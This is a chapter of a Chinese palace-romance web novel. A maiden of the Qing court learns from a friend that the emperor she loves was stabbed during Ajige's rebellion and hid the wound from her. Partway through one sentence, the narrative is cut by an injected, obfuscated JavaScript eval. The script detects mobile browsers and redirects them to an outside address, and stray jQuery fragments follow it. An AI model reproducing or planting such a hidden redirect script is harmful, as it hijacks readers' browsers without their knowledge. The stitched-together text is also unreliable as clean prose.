董浣浣坐在窗前,指尖无意识地摩挲着袖口的兰花纹刺绣,窗外的日光透过雕花窗棂,在青砖地上投下斑驳的光影,却驱不散她心头的阴霾。
董浣浣觉得她那天真是太冲动了,不管不顾的让李顺德带她前往养心殿的行为很是不妥。
如今想来,只觉得后怕的紧,这红墙深宫之中,眼线如织,万一被人发现,只会给福临带来困扰而已。
万一再打乱了福临的布局,后果将是不堪设想。
在惴惴不安了两天后,发现并没有什么异常,董浣浣才算是放下心来。
另一件让董浣浣很忧愁的便是,那天临走前,福临攥着她的手,掌心温热,眼底盛着狡黠的笑意,说要给她个惊喜。她追问再三,他却只摇头,故作神秘地说,"你到时候便知"。
董浣浣对着铜镜轻轻叹了口气,镜中人面色苍白,眼下泛着淡淡的青影。她如今对惊喜都有PTSD了。
感觉每次惊喜过后,都会出现些让她措手不及的惊吓,以至于董浣浣有时候甚至宁愿没有惊喜。
可是,说拒绝,又害怕伤害他的一片真心。不拒绝,又怕再弄出什么幺蛾子。董浣浣揉着发胀的太阳穴,只觉得左右为难,一颗心七上八下的。
正烦乱间,脑海中突然闪过另一幕,让她猛地打了个寒噤。
都说陷入情爱的人会变得幼稚,会患得患失,董浣浣深以为然,毕竟她做梦也想不到,“女人,你成功的引起了我的注意,休想逃出我的掌心”,这句话,能从福临的口中说出来。
董浣浣现在回想起来,还是觉得鸡皮疙瘩能掉满地,后背发凉,忍不住的搓了搓双臂。
赫舍里.青柠从外面回来,正好看到这一幕,有些不明所以的开口问道,"你这是怎么了?哪里不舒服?"
董浣浣抬眼,见她一脸疑惑的表情,手里还拎着一盒桂花糕。
"你是不是冷啊,需要添件衣服?"赫舍里.青柠走近了些,目光落在她泛白的脸颊上。
董浣浣闻言,摇了摇头,解释道,“没有,没有,就是想到了一些不好的事情,有点不适应而已。”
赫舍里.青柠闻言点点头,将桂花糕往桌上一放,拍了拍手,“我就说天气还没到冷的时候呢,你怎么就一副被冻到了的样子。”
董浣浣连连摆手说没有,然后暗自松了口气,在心里给赫舍里.青柠默默点了个赞,真是太有眼力劲了,她确实被福临那句"土味情话"冻得够呛。
"不过话说回来,"赫舍里.青柠忽然话锋一转,顺手拿起桌上的青瓷茶壶给自己倒了杯茶,"这天气也快转凉了,昼夜温差大,晚上出门的时候,还是批件外套,比较好。"
话音刚落,董浣浣被吓得打了个喷嚏,惊得桌上的茶盏都轻轻颤了颤。
赫舍里.青柠这是发现她那天晚上出去了吗?她这话,是意有所指,还是随口一提?
董浣浣的心瞬间提到了嗓子眼,指尖绞着帕子,脑子里飞快地盘算着说辞。她该如何和赫舍里.青柠解释她那天晚上的行踪。
都怪福临!那晚她明明说要早些回来,他非不让,这下好了吧,把她陷入到如此为难的境地。
就在董浣浣还在焦急的想着如何解释的时候,赫舍里.青柠却忽然换了个话题,漫不经心地扫了眼空荡荡的屋子:"她们俩去哪了?"
董浣浣这才如蒙大赦,长长地舒了口气,原来赫舍里.青柠只是随口的关心话,是她做贼心虚,如临大敌。
她定了定神,端起茶杯抿了口温水,才缓缓开口:"石小睕被孟嬷嬷派人叫去问话了,许是为了前几日刺绣的事。至于陈珺娅......"她顿了顿,实在想不起那人的去向,"我也说不准,练完字回来就没见着人影。"
赫舍里.青柠对此毫不在意,摆了摆手:"罢了,我也就是随口问问,她们的去向与我无关。"她走到窗边,推开半扇窗户,暖风带着花香涌了进来,"你呀,该较真时不较真,不该较真时,又较真的要命。"
董浣浣笑着点头,心里那块石头总算是落了地。她望着赫舍里.青柠的背影,忽然想起另一件事,便试探着问道:对了,这几天都忘了问你了,你知道那天佟佳.静姝和唐芿为什么打架了吗?"
赫舍里.青柠闻言猛地转过身,眉头拧成了个疙瘩,快步走到她面前,伸手就在她额头上轻轻敲了一下,又忍不住唠叨,"我有的时候真的想敲开你的脑袋看看,里面到底装了些什么!怎么总对别人的闲事这么上心?前阵子因为多管闲事吃的亏还不够吗?"
赫舍里.青柠的语气带着几分恨铁不成钢,却又难掩关切:"有这功夫操心别人,不如多关心关心自己。你看看你这两天的脸色,白得像张纸,我说请太医来瞧瞧,你偏不肯,非要逞强。真要是病倒了,遭罪的还不是你自己?"
董浣浣被她说得脸上发烫,默默低下头,指尖抠着帕子上的绣花。青柠的话虽然严厉,可字里行间的关切却让她心头暖暖的。
赫舍里.青柠见她这副模样,终究是软了心肠,叹了口气,语气缓和了些:"罢了,跟你说了也白说。"她在董浣浣身边坐下,拿起桌上的桂花糕递过去,"听说是为了一枚戒指。"
"戒指?"董浣浣惊讶地抬起头,接过桂花糕却没心思吃。心想,又是戒指。
她现在听到"戒指"两个字就头疼。前几日刚因为一枚疑似福临赏赐的戒指闹出风波,怎么这又来一枚?难不成又是福临放出来的烟雾弹,用来混淆视听的?
董浣浣有些懊恼,那天去找他的时候,怎么就忘记问这茬了。
"可不是嘛,"赫舍里.青柠咬了口桂花糕,接着说道,"听说那是佟佳·静姝母亲的遗物,被唐芿拿去戴了,还不小心弄丢了。"她挠了挠头,有些不确定地补充道,"具体的我也不太清楚,都是道听途说的,说是唐芿没经过佟佳.静姝允许,就把戒指带出了屋,结果回来就找不到了。"
董浣浣点点头表示理解:"原来是这样......"
难怪佟佳·静姝会发那么大的火,换作是谁,母亲的遗物被人擅自拿走还弄丢了,怕是都要气炸了。
既然是佟佳.静姝母亲的遗物,那这枚戒指应该就和福临没有关系了。董浣浣这才放下心来。
赫舍里.青柠见她不再追问,便换了个轻松些的话题:"对了,刚从外面听来个好消息,皇上身体已经无恙了,今天一早就去上早朝了。"
闻言,董浣浣的心猛地一跳,悬了几日的担忧终于烟消云散。她那天见福临时,他虽然面色平和,可她总怕他是强撑着,想让她安心。如今听到这个消息,才真正放下心来,连带着脸色都红润了几分。
"那就好,"她轻声说道,语气里带着难以掩饰的欣慰,"皇上无碍,天下才能太平。不然这朝堂上下人心惶惶的,终究不是好事。"
赫舍里.青柠深以为然:"可不是嘛。都说国不可一日无君,现在又逢多事之秋,真要是皇上龙体欠安,朝堂指不定要乱成什么样子,就连咱们这储秀宫也别想安生。"
董浣浣闻言,点了点头,表示认同。
赫舍里.青柠看了一眼董浣浣的表情,然后像是想到了什么,忽然凑近了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815921|190875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些,压低声音道,"就是不知道,皇上背上的刀伤,到底好利索了没有。"
"刀伤?"董浣浣只觉得脑子里"嗡"的一声,像是有惊雷炸开,耳边瞬间一片空白。
刀伤?什么刀伤?他什么时候受的伤?她怎么会不知道?还是说他们之前微服出巡受伤的事情,现在传开了?
董浣浣只觉得手脚冰凉,指尖控制不住地颤抖起来,连呼吸都变得困难。董浣浣深吸一口气,尽量让自己保持平静,问道,“皇上受伤了,什么时候的事情啊,我怎么没有听说过。”
赫舍里.青柠疑惑的看向董浣浣,"你......你是住在大清朝的京城吗?”
董浣浣不明所以,“为什么这么问?”
赫舍里.青柠有种被她打败了的无力感,“整个京城,人人都知道的事情。你身为选秀的秀女,怎么会一点风声都没听过?"
董浣浣茫然地摇头,脑子里一片混乱,她确实是一点也不知道。
赫舍里.青柠见她是真的不知情,便不再打趣,敛了神色缓缓说道:"今年年初,和硕英亲王阿济格谋乱,被皇上提前识破了。就在抓捕阿济格的时候,那人狗急跳墙,竟趁乱给了皇上一刀。还好皇上反应快,只是伤了后背,没有伤及要害......"
赫舍里.青柠后面的话,董浣浣已经听不清了。
她的耳边只剩下"阿济格谋乱""给了皇上一刀"这几个字在反复回响,像重锤般狠狠砸在她的心上。
他又受伤了?在她不知道的情况下,他又受伤了。还是刀伤,他疼不疼啊。
那天明明说过再也不会骗她的人,怎么可以隐瞒她这么严重的事情。
年初受的伤,几乎人人都知道?可是她却像个傻子一样,什么都不知道。
为什么她会不知道,董浣浣用力闭了闭眼,她那时候到底在干些什么?
董浣浣仔细想了想。哦,对,最开始她在和他怄气。后来便忙着学习做大家闺秀参加选秀,来敷衍他,归根结底是忙着算计着离开他……
却从未想过,那段时间里,他正经历着怎样的惊心动魄。
难怪那时父亲总是早出晚归,眉宇间满是忧色;难怪那时候他总是派人贴身的跟在她身边。说是保护,她却只当是监视,还为此和他赌气;难怪他会突然颁布采选秀女的旨意,让她入宫......
原来,他是在想尽办法护她周全。
阿济格谋乱,必定牵连甚广,他那时处境凶险,却还是把她护在了羽翼之下,不让她沾染半分血腥与危险,甚至害怕她担心,连半点风声都不让传到她耳朵里。
而她呢?她却在抱怨他隐瞒身份,在抱怨他束缚了她的自由,在算计着如何逃离他的身边。
董浣浣的胸口像是被巨石压住,闷得喘不过气来。
她想起那天在养心殿,他笑着说"我没事"时,眼底一闪而过的疲惫;想起他一反常态的向她撒娇……
原来那些被她忽略的细节,全都是他默默承受的证明。
窗外的花香依旧浓郁,可董浣浣却只觉得心里又酸又涩,这个傻瓜,这个总是把一切都扛在自己肩上的傻瓜......
她忽然无比后悔,后悔自以为是的为他好,后悔自己的后知后觉。
此刻满心的愧疚与心疼,像潮水般将她淹没。
原来,他为她做了这么多,而她却一无所知。
原来,那些她以为的束缚,全都是他小心翼翼的守护。
养心殿的那扇门后,藏着的不仅是帝王的权谋与算计,还有他从未言说的深情……